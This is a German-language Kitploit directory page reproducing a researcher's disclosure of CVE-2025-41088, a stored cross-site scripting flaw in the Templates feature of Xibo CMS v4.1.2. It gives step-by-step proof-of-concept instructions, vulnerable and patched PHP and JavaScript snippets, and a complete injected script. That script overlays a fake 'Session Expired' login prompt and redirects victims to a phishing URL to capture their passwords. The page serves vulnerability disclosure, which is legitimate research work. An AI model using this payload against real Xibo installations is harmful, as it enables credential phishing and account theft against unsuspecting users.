Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-41088 — Stored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, aufgrund fehlender ordnungsgemäßer Validierung von Benutzereingaben. | Kitploit
Tools/GitHubGitHub/marinafabregat/cve-2025-41088
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPhishingPapers & ForschungLernen & Bildung
GitHubmarinafabregat/cve-2025-41088

CVE-2025-41088

Stored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, aufgrund fehlender ordnungsgemäßer Validierung von Benutzereingaben.

Repository anzeigen
53vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-41088: Stored XSS in Xibo CMS

Ich habe eine Stored Cross-Site Scripting (XSS)-Sicherheitslücke in Xibo CMS v4.1.2 entdeckt. Diese Schwachstelle erlaubt es einem authentifizierten Angreifer, bösartige Skripte in die Anwendung einzuschleusen, da die Benutzereingaben nicht ordnungsgemäß validiert werden.

Das Problem liegt in der Funktion 'Vorlagen'. Ein Angreifer kann eine Vorlage mit einem Textelement erstellen, das eine bösartige Nutzlast enthält. Wenn diese Vorlage von anderen Benutzern angezeigt wird, wird das Skript in deren Browser ausgeführt, was potenziell zu Datendiebstahl oder anderen schädlichen Aktionen führen kann.


Proof of Concept (PoC)

Um die Sicherheitslücke auszunutzen, muss ein authentifizierter Benutzer die folgenden Schritte ausführen:

  1. Navigieren Sie zum Abschnitt Design > Vorlagen und erstellen Sie eine neue Vorlage.
  2. Gehen Sie zum Abschnitt Globale Elemente und fügen Sie ein neues Textelement hinzu.
  3. Fügen Sie im Feld Text des Editors die bösartige XSS-Nutzlast ein (z.B. <script>alert(1337)</script>).
  4. Speichern Sie das Element. Die Nutzlast wird nun auf dem Server gespeichert.
  5. Das Skript wird jedes Mal ausgeführt, wenn der Browser eines Benutzers das kompromittierte Element rendert.

Verwundbarer Code

Dieser Abschnitt enthält den spezifischen Codeausschnitt aus Xibo CMS v4.1.2, der die Eingabe für das Feld 'Text' nicht bereinigt.

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];
} else if ($extension !== null) {

In einer anderen Zeile desselben Dokuments.

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];

In einem anderen Dokument.

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml = template?.extends?.escapeHtml;
    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);

    

Korrigierter Code

Dieser Abschnitt zeigt den korrigierten Code, der eine ordnungsgemäße Eingabebereinigung und Ausgabe-Kodierung enthält, um bösartige Skripte zu neutralisieren.

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];
        } else if ($extension !== null) {

In einer anderen Zeile desselben Dokuments.

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];

In einem anderen Dokument.

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml =
      (template?.extends?.escapeHtml === undefined) ?
        true : template.extends.escapeHtml;


    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);
 

Exploitation

Die gespeicherte Nutzlast wird im Kontext des Browsers des Opfers ausgeführt, was genutzt werden kann, um vertrauliche Informationen wie Passwörter zu stehlen.

1. Injizieren der Nutzlast: Der Angreifer fügt das bösartige Skript in ein Textelement innerhalb einer Vorlage ein.

Script_Location

Das von mir verwendete Skript ist das folgende:

root@kitploit:~

<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>

2. Angriffsszenario: Ein häufiger Angriff simuliert einen Sitzungsablauf, um die Anmeldeinformationen des Benutzers zu erfassen. Das Skript übernimmt die Seite und zeigt dem Opfer dieses Pop-up an.

image

Referenzen

  • INCIBE-CERT (Spanisch): Múltiples vulnerabilidades en Xibo CMS
  • INCIBE-CERT (Englisch): Multiple vulnerabilities in Xibo CMS

Haftungsausschluss

Diese Informationen werden nur zu Bildungs- und Forschungszwecken bereitgestellt. Ich bin NICHT verantwortlich für Missbrauch oder Schäden, die durch diese Informationen entstehen.

Tool herunterladen